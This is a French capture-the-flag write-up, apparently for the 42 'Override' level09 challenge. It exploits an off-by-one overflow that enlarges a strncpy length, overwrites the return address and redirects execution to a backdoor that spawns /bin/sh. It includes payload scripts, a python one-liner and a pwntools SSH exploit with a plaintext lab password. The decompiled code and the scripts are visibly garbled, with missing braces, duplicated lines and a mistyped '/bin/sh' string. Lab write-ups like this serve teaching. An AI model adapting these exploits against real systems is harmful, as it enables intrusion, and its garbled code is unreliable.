```
include <stdio.h>
include <string.h>
void secret backdoor(void)
   char buff[128];
   fgets(buff, 128, stdin);
   system(buff);
   return ;
void set username(char *buff) // [rbp-0x98]
   char
   int loop;
      uname[i] = 0;
   puts(">: Enter your username");
   printf(">>: ");
   fgets(uname, 128, stdin);
   while (loop <= 40 && uname[loop] != '\0')</pre>
     buff[140 + loop] = uname[loop];
   printf(">: Welcome, %s", buff + 140);
   return ;
      set_msg(char *buff) // [rbp-0x408]
void
   char msg[1024]; // [rbp-0x400]
     msg[1024] = ' \ 0';
   puts(">: Msg @Unix-Dude");
   printf(">>: ");
   fgets(msg, 1024, stdin);
   strncpy(buff, msg, 140); // 140 NOT hardcoded : "n" variable, buff+0xb4
   return ;
```

Il s'agit ici d'un binaire x64, programmé en C. Une particularité ici, est que ce binaire a été compilé avec PIE d'activé. On travaille donc ici avec du Position Independent Code. Concrètement, cela signifie que les instructions du programme, les variables etc... ne sont pas définis à des adresses absolues mais bien à des offsets.

Par exemple, avant de lancer le programme, lorsqu'on le décompile avec **gdb** (ou qu'on l'examine avec **objdump**), on voit les instructions suivantes :

```
(gdb) disassemble main
Dump of assembler code for function main:
  0x00000000000000aa8 <+0>:
                                 push
                                        rbp, rsp
   0x000000000000000aay <+1>:
                                 mov
   0x00000000000000aac <+4>:
                                        rdi,[rip+0x15d]
                                 lea
                                                                # 0xc10
                                      0x730 <puts@plt>
   0x00000000000000ab3 <+11>:
                                 call
   0x00000000000000ab8 <+16>:
                                        0x8c0 <handle_msg>
                                call
   0x00000000000000abd <+21>:
                                        eax,0x0
                                 mov
   0x000000000000000ac2 <+26>:
                                 pop
                                        rbp
   0x00000000000000ac3 <+27>:
                                 ret
End of assembler dump.
```

On voit ici que les adresses des instructions ou des fonctions (en rouge) correspondent non pas à des adresses virtuelles, mais bien à un offset par rapport à 0. Lorsque le programme sera chargé en mémoire à une certaine adresse, le programme utilisera ces offsets pour calculer la position des instructions / des fonctions à partir de l'adresse de base à laquelle il aura été chargé en mémoire.

On voit également en vert que les variables sont également définies par un offset par rapport à l'instruction actuelle.

Il faut bien avoir conscience que, sans ASLR, le PIE n'a pas vraiment d'utilité. En effet, le PIE

permet aux programmes d'être chargé à n'importe quelle adresse virtuelle de base, puisqu'il fonctionne entièrement par le biais de calculs d'offsets. Il s'agit donc d'une caractéristique obligatoire afin de permettre à l'**ASLR** de s'appliquer au programme (l'ASLR s'occupera de charger le programme à une adresse de base aléatoire à chacune de ses exécutions).

Cependant, si l'ASLR est désactivé, le programme sera toujours chargé à la même adresse mémoire à son exécution ; pour les programmes PIE sur x64, typiquement 0×000555555554000 . Le programme fonctionnera correctement et calculera ses offsets à partir de cette adresse de base fixe ; on aurait cependant pu hardcoder les adresses (qui seront toujours les mêmes) pour gagner en performance. De même, PIE sans ASLR ne permet en aucun cas de renforcer la sécurité d'un programme, puisque ses instructions seront toujours aux mêmes adresses.

Pour voir si l'ASLR est activé :

```
cat /proc/sys/kernel/randomize va space
```

- 0 = désactivé.
- 1 = distribution aléatoire de l'espace d'adressage de la bibliothèque partagée et des exécutables PIE.
- 2 = même fonction que le mode 1 + l'espace "brk" aléatoire.

Sur notre machine cible, l'ASLR est désactivé.

Bref, intéressons-nous désormais au programme lui-même. L'idée générale est la suivante :

- On a un **buff[180]**.
- Juste après, une variable **n** qui vaut **140** (0x8c).
- La fonction **set_username** demande un nom d'utilisateur via stdin et stock ce que l'utilisateur a entré dans **buff[140 180]** (40 bytes maximum des 128 de stdin).
- La fonction set_msg demande un message à l'utilisateur, et stock ce que l'utilisateur a entré dans buff[0 140] (140 bytes maximum des 1024 de stdin).

La vulnérabilité était assez discrète. En réalité, il faut voir que la fonction set_username ne copie pas 40 bytes dans buff (buff[140 - 180]), mais 41 bytes (buff[140 - 181]). Cet overflow de 1 bytes nous permet d'écraser la variable n (0x8c), car celle-ci se situe juste après buff.

Or, cette variable **n** est utilisée afin de définir **la taille du strncpy** dans set_msg, permettant de copier les 140 (0x8c) premiers bytes de l'entrée standard dans le buffer **buff**. Typiquement :

```
(gdb) run
Starting program: /root/42/Override/level09/level09
   ~Welcome to l33t-m$n ~
                       v1337
                                   41th char
>: Enter your username
>>: bla
Breakpoint 2, 0x00005555555549c6 in set_msg ()
(gdb) x /i $rip
=> 0x55555555549c6 <set_msg+148>:
                               call
                                    0x555555554720 <strncpy@plt>
(gdb) info registers
rax
           0x7ffffffffdf60
                           140737488346976
rbx
           0x0
           0x7fffffffdb50
                           140737488345936
rcx
rdx
           0x42
```

On contrôle la taille du **strncpy** via l'overflow sur la variable **n**. On peut donc essayer d'augmenter la taille du strncpy jusqu'à overflow **buff** et écraser l'adresse de retour de la fonction **handle_msg**, car **trop de caractères de l'input 'msg' auront été copiés dans buff** :

```
(gdb) run < payload
Starting program: /root/42/Override/level09/level09 < payload
   ~Welcome to l33t-m$n ~
                          v1337
>: Enter your username
>>: >: Msg sent!
Program received signal SIGSEGV, Segmentation fault.
0x00005555555554931 in handle_msg ()
(gdb) x /i $rip
=> 0x5555555554931 <handle_msg+113>:
                                    ret
(gdb) x /10a $sp
0x7fffffffe028: 0x4343434343434343
                                    0x4343434343434343
0x7fffffffe038: 0x4343434343434343
                                    0x4343434343434343
0x7fffffffe048: 0x4343434343434343
                                    0x4343434343434343
0x7fffffffe058: 0x43434343434343
                                    0x0
0x7fffffffe068: 0x7c63794dc98ff5d2
                                    0x5555555554790 <_start>
```

On a provoqué ici la copie de **0xff** (255) caractères ('C') de l'input utilisateur pour le message dans buff, qui ne peut en contenir que **180**. On a provoqué l'écrasement de l'adresse de retour par les caractères 'C' de notre input de **msg**.

On calcule l'offset dans l'input **msg** qui nous permet d'overwrite l'adresse de retour de la fonction **handle msg** grâce à un pattern metasploit. On trouve l'offset **199**.

On a désormais potentiellement le contrôle du flux d'exécution du programme. L'objectif va être ici bien sûr de le rediriger vers la fonction **secret_backdoor** qui nous offre une shell sur un plateau. Pour cela, rien de plus simple : on détermine l'adresse de cette fonction une fois le programme chargé en mémoire.

En effet, rappelons-nous que peu importe que le programme soit un **PIE**, **ASLR** est désactivé sur le système, donc les fonctions et les instructions seront en réalité chargées aux mêmes adresses virtuelles à chaque fois, qu'on soit dans le débugger ou non. Bref, l'adresse de **secret_backdoor** est la suivante : 0x0000555555555488c.

Cette fonction prend en argument ce que l'utilisateur lui passe via **stdin**. On a désormais tout ce qu'il nous faut pour créer notre exploit :

```
payload += b'A' * 40

payload += b'A' * 40

payload += b'B' * (128 - len(payload))

Filling stdin for set_username fgets

payload += b'C' * 199
payload += b'\x8c\x48\x55\x55\x55\x55'

payload += b'\x8c\x48\x55\x55\x55\x55'

payload += b'\x00' * (1024 - 207)

Filling stdin for set_msg fgets

payload += b'\bin/sh\x00'

Give "/bin/sh" string to stdin for function secret_backdoor

file = open("payload", "wb")

file.write(payload)

file.close()
```

REMARQUE : On remplit le **stdin** de **set_msg** de '\0' car on a besoin que l'adresse de retour soit 0x**0000**55555555488c, et si on mettait d'autres caractères après on aurait loupé ces quatre zeros.

Exécuter le binaire avec ce payload en entrée standard nous donne une shell.

>> Exploitation manuelle

```
$ python -c "print('A' * 40 + '\xff' + 'B' * 87 + 'C' * 199 +
'\x8c\x48\x55\x55\x55\x55' + '\x00' * (1024 - 207) + '/bin/sh\x00')" >
/tmp/payload
$ cat /tmp/payload - | ./level09
```

>> Exploit automatique

```
from pwn import *
payload = b''
```

```
payload += b'A' * 40
payload += b'\xff'
payload += b'B' * (128 - len(payload))
payload += b'C' * 199
payload += b'\x8c\x48\x55\x55\x55\x55'
payload += b'\x00' * (1024 - 207)
payload += b'\bin/sh\x00'

s = ssh(host="192.168.1.3", port=4242, user="level09",
password="fjAwpJNs2vvkFLRebEvAQ2hFZ4uQBWfHRsP62d8s")
p = s.process("/home/users/level09/./level09")

p.sendline(payload)
p.interactive()
```